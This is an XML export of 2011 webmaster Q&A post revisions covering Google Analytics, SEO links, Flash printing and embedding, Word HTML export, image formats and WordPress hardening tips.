  <row Id="23431" PostHistoryTypeId="2" PostId="10482" RevisionGUID="068033d9-bc43-496d-8dad-d9c189339a50" CreationDate="2011-03-10T18:07:49.883" UserId="233" Text="I remember seeing benchmarking in Google Analytics in the past - in fact I opted in to it on several sites. However, I can't find any more. The [Analytics blog][1] shows it should be under the Visitors section but it's not there.&#xD;&#xA;&#xD;&#xA;Is it still available? If it has been removed, does anyone know why? I can't find any info on it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://analytics.blogspot.com/2008/03/benchmarking-now-available-plus.html" />
  <row Id="23432" PostHistoryTypeId="1" PostId="10482" RevisionGUID="068033d9-bc43-496d-8dad-d9c189339a50" CreationDate="2011-03-10T18:07:49.883" UserId="233" Text="Where is benchmarking in Google Analytics?" />
  <row Id="23433" PostHistoryTypeId="3" PostId="10482" RevisionGUID="068033d9-bc43-496d-8dad-d9c189339a50" CreationDate="2011-03-10T18:07:49.883" UserId="233" Text="&lt;google-analytics&gt;&lt;benchmark&gt;" />
  <row Id="23434" PostHistoryTypeId="2" PostId="10483" RevisionGUID="53ebb234-99dc-4d30-bbf2-bde2e328ab0a" CreationDate="2011-03-10T18:09:20.303" UserId="1253" Text="It's only a link scheme if the purpose of it is solely to manipulate the rankings. Although your goal is to improve SEO of your site it does make business sense to cross-link amongst counties since they can help them find related information. Cross-linking unrelated sites or with sites known to be link farms is when you start to get yourself in trouble.&#xD;&#xA;&#xD;&#xA;Reciprocal links are very common, especially amongst related sites, but they don't really have that much SEO value since they are essentially trading votes so I wouldn't expect this to have any kind of impact on your rankings. " />
  <row Id="23435" PostHistoryTypeId="2" PostId="10484" RevisionGUID="1bf47eae-6969-4f8f-abc4-ed2305b3dfc3" CreationDate="2011-03-10T18:53:18.520" UserId="5847" Text="1) Put the Firefox browser window in full screen by hitting F11 so you can get as much of it in as possible and do a &quot;print screen&quot; screen capture, paste it into paint, and print it off there in lanscape print mode :-P &#xD;&#xA;&#xD;&#xA;2) Download ScreenGrab plug-in for firefox off https://addons.mozilla.org/en-US/firefox/addon/screengrab/ - It will capture the entire page that you see including flash and all frames, basically it saves webpages as images - either to a file, or to the clipboard. It captures Flash too! From there, throw it into paint, and print! &#xD;&#xA;&#xD;&#xA;3) Fixing this from a web developer perspective, What we want to do is to create a style for printing. This style will change Flash to image for Firefox browser. And you can use images in Firefox as img src=”data:image… “. Actually all these actions are automated already and all you need to do is to add JavaScript file, add swc library to the project and say, what you want to print.&#xD;&#xA;&#xD;&#xA;1. Download FFPrintFix.swc from: http://www.anychart.com/tips_and_tricks/ffprintfix/FFPrintFix.swc&#xD;&#xA;&#xD;&#xA;2. Add it to folder libs of our project.&#xD;&#xA;&#xD;&#xA;3. Make Flex to add FFPrintFix to our project. To do it we do right-button click and select properties. In Properties we go to Flex Build Path, then to Library path and click Add SWC.&#xD;&#xA;Set path to libs/FFPrintFix.swc&#xD;&#xA;Click ОК, Then in properties OK again and wait while everything will be updated and recompile the project.&#xD;&#xA;&#xD;&#xA;4. Now we will modify a template. Usually it is located in the folder html-templates with name index.template.html.&#xD;&#xA; Then we download FFPrintFix.js here: http://www.anychart.com/tips_and_tricks/ffprintfix/FFPrintFix.js and add it to the same folder html-template. Then wmodify template by adding import script&#xD;&#xA;Flex will copy FFPrintFix in the bin folder during compilation.&#xD;&#xA; &#xD;&#xA;5. Initialization code. Open our application and add initialization for printing:&#xD;&#xA; &#xD;&#xA;        &lt;mx:Application xmlns:mx=”http://www.adobe.com/2006/mxml” layout=”absolute” applicationComplete=”updateImage()”&gt; &lt;mx:Script&gt;&#xD;&#xA;        &lt;![CDATA[&#xD;&#xA; &#xD;&#xA;        import com.anychart.utils.PrintManager;&#xD;&#xA;        public function updateImage():void {&#xD;&#xA;        PrintManager.setImage(stage);&#xD;&#xA;        }&#xD;&#xA; &#xD;&#xA;        ]]&gt;&#xD;&#xA; &#xD;&#xA;       &lt;/mx:Script&gt;&#xD;&#xA; &#xD;&#xA;PrintManager.setImage sets current state of scene as a view for printing in FireFox.&#xD;&#xA;&#xD;&#xA;You can download the sample here: http://www.anychart.com/tips_and_tricks/ffprintfix/sample.zip&#xD;&#xA; &#xD;&#xA;swc: http://www.anychart.com/tips_and_tricks/ffprintfix/FFPrintFix.swc&#xD;&#xA; js: http://anychart.com/tips_and_tricks/ffprintfix/FFPrintFix.js&#xD;&#xA;" />
  <row Id="23436" PostHistoryTypeId="5" PostId="10373" RevisionGUID="7caa5251-8be3-4a99-88ab-b9715e89f961" CreationDate="2011-03-10T18:59:09.513" UserId="5990" Comment="added 219 characters in body" Text="So normally I wouldn't use this feature (&quot;Save as Web Page&quot;) but I have large documents from clients they just want put on their site as HTML, and formatting it all by hand seems like a waste of time.&#xD;&#xA;&#xD;&#xA;I have tried &quot;save as webpage&quot; in Word 2007, but it produces all sorts of bad stuff.  To wit:&#xD;&#xA;&#xD;&#xA;    &lt;b style='mso-bidi-font-weight:normal'&gt;&#xD;&#xA;    &lt;span style=&quot;mso-spacerun: yes&quot;&gt;&#xD;&#xA;&#xD;&#xA;as well as a large block of XML formatting info:&#xD;&#xA;    &#xD;&#xA;    &lt;!--[if gte mso 9]&gt;&lt;xml&gt;&#xD;&#xA;     &lt;o:DocumentProperties&gt;&#xD;&#xA;     &lt;o:Subject&gt; &lt;/o:Subject&gt;&#xD;&#xA;     &lt;o:Author&gt; &lt;/o:Author&gt;&#xD;&#xA;     &lt;o:Keywords&gt; &lt;/o:Keywords&gt;&#xD;&#xA;     ...&#xD;&#xA;&#xD;&#xA;As I said, formatting it all by hand seems like a waste of time, but the way MS exports currently just has *too much* cruft.  Is there a way to export MS Word doc as html without all this?&#xD;&#xA;&#xD;&#xA;EDIT: This document is a charter/bylaws type document and therefor has many levels of nested list.  One of my criteria for &quot;success&quot; in this conversion endeavor is that the list hierarchy is retained, not discarded." />
  <row Id="23437" PostHistoryTypeId="2" PostId="10485" RevisionGUID="e12b8b0b-cd88-4057-bbeb-756ee7a68d8d" CreationDate="2011-03-10T19:02:39.180" UserId="4040" Text="You can block Google Analytics through Adblock or your hosts file, and I know a small amount of visitors do.  What's the percentage?  Does Google compensate somehow, or should I just add a fudge factor to my customer's stats. &#xD;&#xA;&#xD;&#xA;I understand this number is possibly tiny, but I can't seem to dodge this request." />
  <row Id="23438" PostHistoryTypeId="1" PostId="10485" RevisionGUID="e12b8b0b-cd88-4057-bbeb-756ee7a68d8d" CreationDate="2011-03-10T19:02:39.180" UserId="4040" Text="What percentage of users opt out of Google Analytics?" />
  <row Id="23439" PostHistoryTypeId="3" PostId="10485" RevisionGUID="e12b8b0b-cd88-4057-bbeb-756ee7a68d8d" CreationDate="2011-03-10T19:02:39.180" UserId="4040" Text="&lt;google-analytics&gt;&lt;adblock&gt;" />
  <row Id="23440" PostHistoryTypeId="2" PostId="10486" RevisionGUID="0d0e4840-8eb8-4f5e-9886-419288f0ba34" CreationDate="2011-03-10T19:13:20.073" UserId="5849" Text="If you site is getting any decent amount of traffic at all, this percent will be too small to worry about. I usually just ignore it. " />
  <row Id="23441" PostHistoryTypeId="2" PostId="10487" RevisionGUID="43d8df35-5943-41f0-acba-779e6d0bdabe" CreationDate="2011-03-10T19:30:36.723" UserId="233" Text="After further research it appears the Benchmarking feature is being replaced/upgraded. However, it's currently in a transition period where they got rid of the old benchmarking but haven't released the new one yet... [This blog post][1] has some details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://analytics.blogspot.com/2011/03/evolution-of-analytics-benchmarking.html" />
  <row Id="23442" PostHistoryTypeId="2" PostId="10488" RevisionGUID="db816d07-80ee-48af-a0ee-81e9ab93f83d" CreationDate="2011-03-10T19:30:38.970" UserId="2545" Text="I discovered that all information about links to my site disappeared from Google Webmaster Tools. &#xD;&#xA;&#xD;&#xA;Last time I checked the &quot;Links to your site&quot; page in GWT there was nice list of linking domains and all. But now there is only &quot;No data available.&quot; &#xD;&#xA;&#xD;&#xA;There were no changes to the site contents.&#xD;&#xA;&#xD;&#xA;Why could it be? And what can I do to fix this?&#xD;&#xA;&#xD;&#xA;About a month earlier I found that PR of **all** my pages dropped by 2 points. May these changes be related? " />
  <row Id="23443" PostHistoryTypeId="1" PostId="10488" RevisionGUID="db816d07-80ee-48af-a0ee-81e9ab93f83d" CreationDate="2011-03-10T19:30:38.970" UserId="2545" Text="Information about links disappeared from Webmaster Tools" />
  <row Id="23444" PostHistoryTypeId="3" PostId="10488" RevisionGUID="db816d07-80ee-48af-a0ee-81e9ab93f83d" CreationDate="2011-03-10T19:30:38.970" UserId="2545" Text="&lt;pagerank&gt;&lt;google-webmaster-tools&gt;&lt;backlinks&gt;" />
  <row Id="23445" PostHistoryTypeId="2" PostId="10489" RevisionGUID="cc53cc40-2c21-4fda-88e3-f91be2f8d61b" CreationDate="2011-03-10T20:17:48.473" UserId="6019" Text="Not sure how or why this happened, its rather all of a sudden.&#xD;&#xA;I've got a flash object on a site with something to this effect:&#xD;&#xA;&#xD;&#xA;    &lt;OBJECT codeBase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0&quot;&#xD;&#xA;    							classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; data=&quot;data:application/x-oleobject;base64,btt80m2uzxGWuERFU1QAAGdVZlUACQAAAR8AADwHAAAIAAIAAAAAAAgAAAAAAAgAAAAAAAgADgAAAFcAaQBuAGQAbwB3AAAACAAGAAAALQAxAAAACAAGAAAALQAxAAAACAAKAAAASABpAGcAaAAAAAgAAgAAAAAACAAGAAAALQAxAAAACAAAAAAACAACAAAAAAAIABAAAABTAGgAbwB3AEEAbABsAAAACAAEAAAAMAAAAAgABAAAADAAAAAIAAIAAAAAAAgAAAAAAAgAAgAAAAAADQAAAAAAAAAAAAAAAAAAAAAACAAEAAAAMQAAAAgABAAAADAAAAAIAAAAAAAIAAQAAAAwAAAACAAIAAAAYQBsAGwAAAAIAAwAAABmAGEAbABzAGUAAAA=&quot;&#xD;&#xA;    							width=&quot;300&quot; align=&quot;top&quot; height=&quot;70&quot; VIEWASTEXT&gt;&#xD;&#xA;    							&lt;embed src=&quot;../flash/quikfix.swf&quot; width=&quot;300&quot; height=&quot;70&quot; align=&quot;top&quot; quality=&quot;high&quot; pluginspage=&quot;http://www.macromedia.com/go/getflashplayer&quot;&#xD;&#xA;    								type=&quot;application/x-shockwave-flash&quot;&gt; &lt;/embed&gt;&#xD;&#xA;    						&lt;/OBJECT&gt;&#xD;&#xA;&#xD;&#xA;That comes up completly fine in Chrome and FireFox but in IE8 it doesnt come up but shows the page as loading this file, and it just sits there trying to load it..&#xD;&#xA;This is a production app for over 6 years and this just suddenly happened.&#xD;&#xA;&#xD;&#xA;If I right click this flash object it says &quot;Movie Not Loaded&quot; and underneath it the version Flash Player 10.2.152.32...&#xD;&#xA;&#xD;&#xA;Any ideas ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23446" PostHistoryTypeId="1" PostId="10489" RevisionGUID="cc53cc40-2c21-4fda-88e3-f91be2f8d61b" CreationDate="2011-03-10T20:17:48.473" UserId="6019" Text="flash object not working on intranet anymore?" />
  <row Id="23447" PostHistoryTypeId="3" PostId="10489" RevisionGUID="cc53cc40-2c21-4fda-88e3-f91be2f8d61b" CreationDate="2011-03-10T20:17:48.473" UserId="6019" Text="&lt;flash&gt;" />
  <row Id="23448" PostHistoryTypeId="2" PostId="10490" RevisionGUID="532ff028-cff0-490a-aea7-957b1e3619bf" CreationDate="2011-03-10T20:19:31.330" UserId="6020" Text="You can get a VPS (virtual private server) account from DreamHost.com for $15/month, install GlassFish, and have your JSF 2.0 app run with unlimited disk space (useful if you also need a MySQL or PostgreSQL or other database) and unlimited traffic." />
  <row Id="23449" PostHistoryTypeId="25" PostId="10472" RevisionGUID="472d2bc7-12e9-440c-bb4d-c2e0c3acc7e0" CreationDate="2011-03-10T20:23:32.790" Comment="http://twitter.com/#!/StackWebmasters/status/45942887531298816" />
  <row Id="23450" PostHistoryTypeId="2" PostId="10491" RevisionGUID="bfdb4793-a8a5-4a4a-b33e-a75dbd328209" CreationDate="2011-03-10T20:31:51.160" UserId="5849" Text="This happened to me recently too. I am not sure why it happened although it might be related to that Google change the happened recently. I didn't do anything to cause it nor to fix it. I waited a week and all of my data came back. &#xD;&#xA;&#xD;&#xA;It also might be that Google is in the middle of reindexing your site. But that is speculation. But if I were you, just wait a bit and see if it comes back. If it is like mine was it will in about a week. &#xD;&#xA;&#xD;&#xA;My rankings didn't change during this time, so I don't think Google actually lost all my data. " />
  <row Id="23452" PostHistoryTypeId="2" PostId="10493" RevisionGUID="1530af08-0a5c-40e1-9754-75480716180b" CreationDate="2011-03-10T20:45:50.557" UserId="6021" Text="Right now, we're working to migrate our company sites for international markets to this scheme&#xD;&#xA;&#xD;&#xA;    www.company.com/[2 letter country codes]&#xD;&#xA;    www.company.com/uk    #for United Kingdom&#xD;&#xA;    www.company.com/au    #for Australia&#xD;&#xA;    www.company.com/jp    #for Japan&#xD;&#xA;    www.comapny.com/      #for united states, and non identifiable.&#xD;&#xA;&#xD;&#xA;However, in google webmaster tools, we can geo target each directory, but not the root.  If we geo-tag the root with US, all the other markets will inherit.&#xD;&#xA;&#xD;&#xA;Is it better to move the US market to /us/ or leave it where it is?" />
  <row Id="23453" PostHistoryTypeId="1" PostId="10493" RevisionGUID="1530af08-0a5c-40e1-9754-75480716180b" CreationDate="2011-03-10T20:45:50.557" UserId="6021" Text="What's better for SEO for many international markets?" />
  <row Id="23454" PostHistoryTypeId="3" PostId="10493" RevisionGUID="1530af08-0a5c-40e1-9754-75480716180b" CreationDate="2011-03-10T20:45:50.557" UserId="6021" Text="&lt;seo&gt;&lt;geotargeting&gt;" />
  <row Id="23455" PostHistoryTypeId="2" PostId="10494" RevisionGUID="434e5c6e-1b7a-4c38-a544-0c81052725f9" CreationDate="2011-03-10T20:58:23.840" UserId="6024" Text="In a corporate web-design setup, who typically makes more per hour, the graphic designer or the programmer?&#xD;&#xA;&#xD;&#xA;By graphic designer, I mean somebody who builds mockups probably in photoshop, selects font-styles, colors, etc.  Most things layout-wise are near pixel-perfect, but likely after the initial implementation by the programmer, there will be a lot of small changes directed by the graphic designer.&#xD;&#xA;&#xD;&#xA;By programmer, I mean somebody who is coding the CSS, the HTML, and light backend support, probably in PHP.  The programmer will attempt to duplicate the mockups given the limitations of the medium, and consult with the graphic designer afterwards on what changes are tangible and which are not.&#xD;&#xA;&#xD;&#xA;Both probably have an undergraduate degree from a respected four-year institution." />
  <row Id="23456" PostHistoryTypeId="1" PostId="10494" RevisionGUID="434e5c6e-1b7a-4c38-a544-0c81052725f9" CreationDate="2011-03-10T20:58:23.840" UserId="6024" Text="Pay for Graphic Designer vs Programmer" />
  <row Id="23457" PostHistoryTypeId="3" PostId="10494" RevisionGUID="434e5c6e-1b7a-4c38-a544-0c81052725f9" CreationDate="2011-03-10T20:58:23.840" UserId="6024" Text="&lt;web-design&gt;&lt;payment&gt;&lt;contract&gt;" />
  <row Id="23458" PostHistoryTypeId="2" PostId="10495" RevisionGUID="07042a0e-41fd-44f2-bda5-0ee5ebd3ca4a" CreationDate="2011-03-10T21:02:24.210" UserId="1253" Text="[Here's a good chart from a couple of years ago][1]:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.elitefreelancing.com/business/money/average-salary-for-web-designer-web-developer-jobs/&#xD;&#xA;  [2]: http://i.stack.imgur.com/sXPfk.gif" />
  <row Id="23459" PostHistoryTypeId="2" PostId="10496" RevisionGUID="bfdc4c28-ddce-4ca4-8cab-748ef0b491ac" CreationDate="2011-03-10T21:08:53.813" UserId="4744" Text="For the image title of my website medium-small(150x50) white background with some effects on title (example: google title image)&#xD;&#xA;&#xD;&#xA;I saved the image in .gif and .png with result:&#xD;&#xA;&#xD;&#xA;.gif size = 3.09 kB&#xD;&#xA;.png size = 7.59 kB&#xD;&#xA;&#xD;&#xA;The .png is 2x bigger than .gif.&#xD;&#xA;&#xD;&#xA;Everyone are saying me to use .PNG, but why I should if .gi" />
  <row Id="23460" PostHistoryTypeId="1" PostId="10496" RevisionGUID="bfdc4c28-ddce-4ca4-8cab-748ef0b491ac" CreationDate="2011-03-10T21:08:53.813" UserId="4744" Text="GIF vs PNG which to use ?" />
  <row Id="23461" PostHistoryTypeId="3" PostId="10496" RevisionGUID="bfdc4c28-ddce-4ca4-8cab-748ef0b491ac" CreationDate="2011-03-10T21:08:53.813" UserId="4744" Text="&lt;photoshop&gt;&lt;png&gt;" />
  <row Id="23463" PostHistoryTypeId="2" PostId="10498" RevisionGUID="c9e86748-0365-45ea-a839-c2658dc3083a" CreationDate="2011-03-10T21:15:59.003" UserId="1253" Text="Use the format that works best for you. Each format has its strengths and weaknesses but when multiple formats offer you the same image quality then let size be the determining factor. In this case GIF wins. Just keep in mind this won't always be the case so you should always check to see which one suits the current image best and don't lock yourself into one format just because it was better that one time." />
  <row Id="23464" PostHistoryTypeId="6" PostId="10496" RevisionGUID="b3dd2309-d7e9-47c4-b83e-5d99aadc0717" CreationDate="2011-03-10T21:16:22.887" UserId="1253" Comment="Removed &quot;photoshop &quot; tag and added &quot;gif&quot; tag" Text="&lt;png&gt;&lt;gif&gt;" />
  <row Id="23465" PostHistoryTypeId="2" PostId="10499" RevisionGUID="13ded19f-7436-46fa-8918-f01c7b4b57b3" CreationDate="2011-03-03T16:47:06.223" UserDisplayName="gourav" Text="I recently purchase a VPS from GoDaddy. Now i need to Setup the virtual server to go ahead and install my website.&#xD;&#xA;&#xD;&#xA;Please guide how to go about.&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="23466" PostHistoryTypeId="1" PostId="10499" RevisionGUID="13ded19f-7436-46fa-8918-f01c7b4b57b3" CreationDate="2011-03-03T16:47:06.223" UserDisplayName="gourav" Text="How to setup VPS(Virtual hosting server) in Godaddy" />
  <row Id="23467" PostHistoryTypeId="3" PostId="10499" RevisionGUID="13ded19f-7436-46fa-8918-f01c7b4b57b3" CreationDate="2011-03-03T16:47:06.223" UserDisplayName="gourav" Text="&lt;server&gt;&lt;godaddy&gt;&lt;virtualhost&gt;&lt;vps&gt;&lt;web-hosting&gt;" />
  <row Id="23468" PostHistoryTypeId="17" PostId="10499" RevisionGUID="28f8c47e-012b-4596-b40e-e4c9ba92fa6a" CreationDate="2011-03-10T21:25:32.970" UserId="-1" Comment="from http://stackoverflow.com/questions/5183770/how-to-setup-vpsvirtual-hosting-server-in-godaddy" Text="" />
  <row Id="23469" PostHistoryTypeId="5" PostId="10498" RevisionGUID="f7fb3f70-04d0-4e61-bde2-74929b921875" CreationDate="2011-03-10T21:25:39.963" UserId="1253" Comment="added 83 characters in body" Text="Use the format that works best for you. Each format has its [strengths and weaknesses][1] but when multiple formats offer you the same image quality then let size be the determining factor. In this case GIF wins. Just keep in mind this won't always be the case so you should always check to see which one suits the current image best and don't lock yourself into one format just because it was better that one time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webopedia.com/DidYouKnow/internet/2002/jpg_gif_png.asp" />
  <row Id="23470" PostHistoryTypeId="5" PostId="10496" RevisionGUID="77076e92-04a2-410f-9f72-38d0e074687b" CreationDate="2011-03-10T21:34:42.997" UserId="4744" Comment="added 20 characters in body" Text="For the image title of my website medium-small(150x50) white background with some effects on title (example: google title image)&#xD;&#xA;&#xD;&#xA;I saved the image in .gif and .png with result:&#xD;&#xA;&#xD;&#xA;.gif size = 3.09 kB&#xD;&#xA;.png size = 7.59 kB&#xD;&#xA;&#xD;&#xA;The .png is 2x bigger than .gif.&#xD;&#xA;&#xD;&#xA;Everyone are saying me to use .PNG, but why I should use it  if .gif are better" />
  <row Id="23471" PostHistoryTypeId="2" PostId="10500" RevisionGUID="ce0fada8-d51e-477e-9e15-7407de93d159" CreationDate="2011-03-10T21:37:01.767" UserId="1585" Text="Apparently png either matches or gets better compression then gif.&#xD;&#xA;Try using these tools. The [first is from yahoo](http://www.smushit.com/ysmush.it/) the 2nd i think [i heard about more then once](http://pmt.sourceforge.net/pngcrush/)." />
  <row Id="23472" PostHistoryTypeId="2" PostId="10501" RevisionGUID="aef398ac-7def-4314-9c30-2a4d3c7c90ec" CreationDate="2011-03-10T21:44:35.987" UserId="108" Text="PNG images allow for Alpha and GIF images do not.  So if you have any fading effects where you want the background to be seen through your image then you want to go with PNG.&#xD;&#xA;&#xD;&#xA;Also, PNG images with alpha require extra CSS coding in order to appear correctly if they have alpha." />
  <row Id="23473" PostHistoryTypeId="2" PostId="10502" RevisionGUID="739030c0-d962-4845-a603-f540f10a6841" CreationDate="2011-03-10T21:45:26.960" UserId="5727" Text="If I have&#xD;&#xA;&#xD;&#xA;    http://www.site.com&#xD;&#xA;&#xD;&#xA;And&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.site.com&quot;&gt;www.site.com&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;The second one is bad, but will the first one count as an out link?" />
  <row Id="23474" PostHistoryTypeId="1" PostId="10502" RevisionGUID="739030c0-d962-4845-a603-f540f10a6841" CreationDate="2011-03-10T21:45:26.960" UserId="5727" Text="Does have a web address on your site affect SEO?" />
  <row Id="23475" PostHistoryTypeId="3" PostId="10502" RevisionGUID="739030c0-d962-4845-a603-f540f10a6841" CreationDate="2011-03-10T21:45:26.960" UserId="5727" Text="&lt;seo&gt;" />
  <row Id="23476" PostHistoryTypeId="2" PostId="10503" RevisionGUID="22aa8bd4-faf6-4f47-83cd-79869ca398ae" CreationDate="2011-03-10T21:37:56.970" UserDisplayName="Ill Logic" Text="Basically I'm trying to find a blog for a website, and security is the highest priority in our case. We don't need any features that I would imagine are special. Wordpress was our first idea, but its reputation precedes it, and though it may have cleaned up its act lately, I'm not seeing much solid evidence.&#xD;&#xA;&#xD;&#xA;I get the impression that Movable Type (at least the Perl version) has a much better reputation for security than Wordpress (historically at least). I'm not sure I want to take a chance with Wordpress at this point, but is there some objective source I can got to to back up (or counter) the notion that MT is at least among the best? Secunia doesn't recommend using their stats for comparisons, and securityfocus.com doesn't have stats at all that I can see. Searching here http://web.nvd.nist.gov makes MT look way better than WP (at least in 2007), but this site was referenced by MT's own page boasting about their security, so I don't know how relevant it is or how seriously people take it.&#xD;&#xA;&#xD;&#xA;Any suggestions on sites where I could/should make a somewhat objective comparison?" />
  <row Id="23477" PostHistoryTypeId="1" PostId="10503" RevisionGUID="22aa8bd4-faf6-4f47-83cd-79869ca398ae" CreationDate="2011-03-10T21:37:56.970" UserDisplayName="Ill Logic" Text="Is Movable Type among the most secure PHP blogs? How secure are the various PHP blog applications?" />
  <row Id="23478" PostHistoryTypeId="3" PostId="10503" RevisionGUID="22aa8bd4-faf6-4f47-83cd-79869ca398ae" CreationDate="2011-03-10T21:37:56.970" UserDisplayName="Ill Logic" Text="&lt;php&gt;&lt;wordpress&gt;&lt;blog&gt;" />
  <row Id="23479" PostHistoryTypeId="17" PostId="10503" RevisionGUID="9cb255a7-61b2-4fb2-80a5-d18405dfa7cb" CreationDate="2011-03-10T21:47:54.010" UserId="-1" Comment="from http://serverfault.com/questions/245926/is-movable-type-among-the-most-secure-php-blogs-how-secure-are-the-various-php-b" Text="" />
  <row Id="23483" PostHistoryTypeId="2" PostId="10505" RevisionGUID="0064d327-886a-4265-bbd8-6954d34641c8" CreationDate="2011-03-10T21:51:41.230" UserId="1253" Text="If there is no HTML there is no link. So the second one is a link and has SEO value (it is counted as a &quot;vote&quot; and passes PageRank). The first only has SEO value as content, not as a link (just like any other text on your website)." />
  <row Id="23484" PostHistoryTypeId="2" PostId="10506" RevisionGUID="23b2c3c1-07b6-4aae-8cb0-ef0259044bac" CreationDate="2011-03-10T21:52:15.187" UserId="1248" Text="Having worked with WordPress a lot lately, what i've been doing to create security is avoiding defaults.  When creating the database, i change the table name prefixes to something custom for that site.  I create a unique user and make them administrator then delete the admin user.  There are also security based plugins that make other tweaks available as well.  &#xD;&#xA;&#xD;&#xA;[Wordpress][1] offers other suggestions as well. [WP Security Scan][2] is useful plug in for adjusting permissions and making other tweaks for security.  Keeping current is also important.  Also if you are using a free theme, get it from wordpress.org's directory.  Many websites that offer themes include encrypted backlinks that create security holes.  See [this post][3] for details on that issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Hardening_WordPress&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/wp-security-scan/&#xD;&#xA;  [3]: http://webinsecurity.blogspot.com/2011/02/free-wordpress-themes-considered.html" />
  <row Id="23485" PostHistoryTypeId="2" PostId="10507" RevisionGUID="46de26e0-c7f1-44a2-a5c0-80608b04e08b" CreationDate="2011-03-10T22:46:00.427" UserId="1426" Text="PNG almost always gives better compression than GIF but you need to make sure you're saving the image as an 8-bit PNG. Often graphics programs will save as a 24-bit PNG which may be why you're seeing the results you are. If you say what program you are using we may be able to advise how to save as an 8-bit PNG.&#xD;&#xA;&#xD;&#xA;You can also run the resulting file through either pngout or pngcrush which will reduce the file size even further.&#xD;&#xA;&#xD;&#xA;Really the only reason to use GIF over PNG these days is if you need animation." />
  <row Id="23486" PostHistoryTypeId="2" PostId="10508" RevisionGUID="6d36503b-50c6-4322-8319-f35e0cf545d8" CreationDate="2011-03-10T22:46:24.197" UserId="5112" Text="I whould like to know in what encryption should I encode my data and why&#xD;&#xA;&#xD;&#xA;first of all, I use GET method because it is search engine inside webside.&#xD;&#xA;&#xD;&#xA;second, I use RTL language (hebrew)&#xD;&#xA;&#xD;&#xA;and thrid which basiclly is why I ask this question - firefox and safari (as I understood) encode and decode urls automaticly so if I encoded url, in firefox I will see it decoded which is good but if I copy-paste the url to the address bar and than enter the site firefox encode the uncoded url to utf (i think).&#xD;&#xA;&#xD;&#xA;anyway, what en/decode should I use, and how can I overcome the firefox auto en/decode?" />
  <row Id="23487" PostHistoryTypeId="1" PostId="10508" RevisionGUID="6d36503b-50c6-4322-8319-f35e0cf545d8" CreationDate="2011-03-10T22:46:24.197" UserId="5112" Text="Javascript and PHP how should I en/decode my data" />
  <row Id="23488" PostHistoryTypeId="3" PostId="10508" RevisionGUID="6d36503b-50c6-4322-8319-f35e0cf545d8" CreationDate="2011-03-10T22:46:24.197" UserId="5112" Text="&lt;php&gt;&lt;javascript&gt;&lt;firefox&gt;&lt;safari&gt;&lt;url-encoding&gt;" />
  <row Id="23489" PostHistoryTypeId="2" PostId="10509" RevisionGUID="e87d80a0-4454-41f0-9c93-00ea8c3f431e" CreationDate="2011-03-10T22:51:17.757" UserId="-1" Text="" />
  <row Id="23490" PostHistoryTypeId="2" PostId="10510" RevisionGUID="4c0e4974-6d6a-4ce0-bd50-3a4b4e3a2e42" CreationDate="2011-03-10T22:51:17.757" UserId="-1" Text="" />
  <row Id="23497" PostHistoryTypeId="5" PostId="10509" RevisionGUID="23db04bb-4aa4-4e7f-98c4-a6755a9de8b2" CreationDate="2011-03-10T23:03:59.137" UserId="3609" Comment="added 369 characters in body" Text="Taken from the official [IIS website][1]:&#xD;&#xA;&#xD;&#xA;&gt; Internet Information Services (IIS)&#xD;&#xA;&gt; for Windows® Server is a flexible,&#xD;&#xA;&gt; secure and easy-to-manage Web server&#xD;&#xA;&gt; for hosting anything on the Web. From&#xD;&#xA;&gt; media streaming to web application&#xD;&#xA;&gt; hosting, IIS’s scalable and open&#xD;&#xA;&gt; architecture is ready to handle the&#xD;&#xA;&gt; most demanding tasks.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iis.net/" />
  <row Id="23498" PostHistoryTypeId="24" PostId="10509" RevisionGUID="23db04bb-4aa4-4e7f-98c4-a6755a9de8b2" CreationDate="2011-03-10T23:03:59.137" Comment="Proposed by 3609 approved by 1253 edit id of 58" />
  <row Id="23499" PostHistoryTypeId="5" PostId="10510" RevisionGUID="53d4b959-c4fc-4452-a173-0d20da2938c8" CreationDate="2011-03-10T23:04:01.230" UserId="3609" Comment="added 90 characters in body" Text="IIS is the acronym for Internet Information Services, the webserver provided by Microsoft." />
  <row Id="23500" PostHistoryTypeId="24" PostId="10510" RevisionGUID="53d4b959-c4fc-4452-a173-0d20da2938c8" CreationDate="2011-03-10T23:04:01.230" Comment="Proposed by 3609 approved by 1253 edit id of 59" />
  <row Id="23501" PostHistoryTypeId="17" PostId="10513" RevisionGUID="83914a7d-2fb0-465e-a2b7-26b6882193db" CreationDate="2011-03-10T23:11:38.370" UserId="-1" Comment="from http://stackoverflow.com/questions/5266684/my-site-will-not-process-credit-cards/5266754#5266754" Text="" />
  <row Id="23502" PostHistoryTypeId="2" PostId="10513" RevisionGUID="00a0af28-2c3b-4777-8411-377fdfcfc1a5" CreationDate="2011-03-10T22:35:52.743" UserId="558" Text="I guess a few questions that might point you in the right direction:&#xD;&#xA;&#xD;&#xA; 1. What part was supposed to be 'seamless'? The processors's end switching from Authorize.net to EPN or your integration?&#xD;&#xA; 2. How were you using Authorize.net? The simple way where they collected all the info on their pages, or did you do the API integration where you posted information&#xD;&#xA; 3. If the latter option, does EPN have the exact same API as Autherize.net? If not, you will need to make coding changes" />
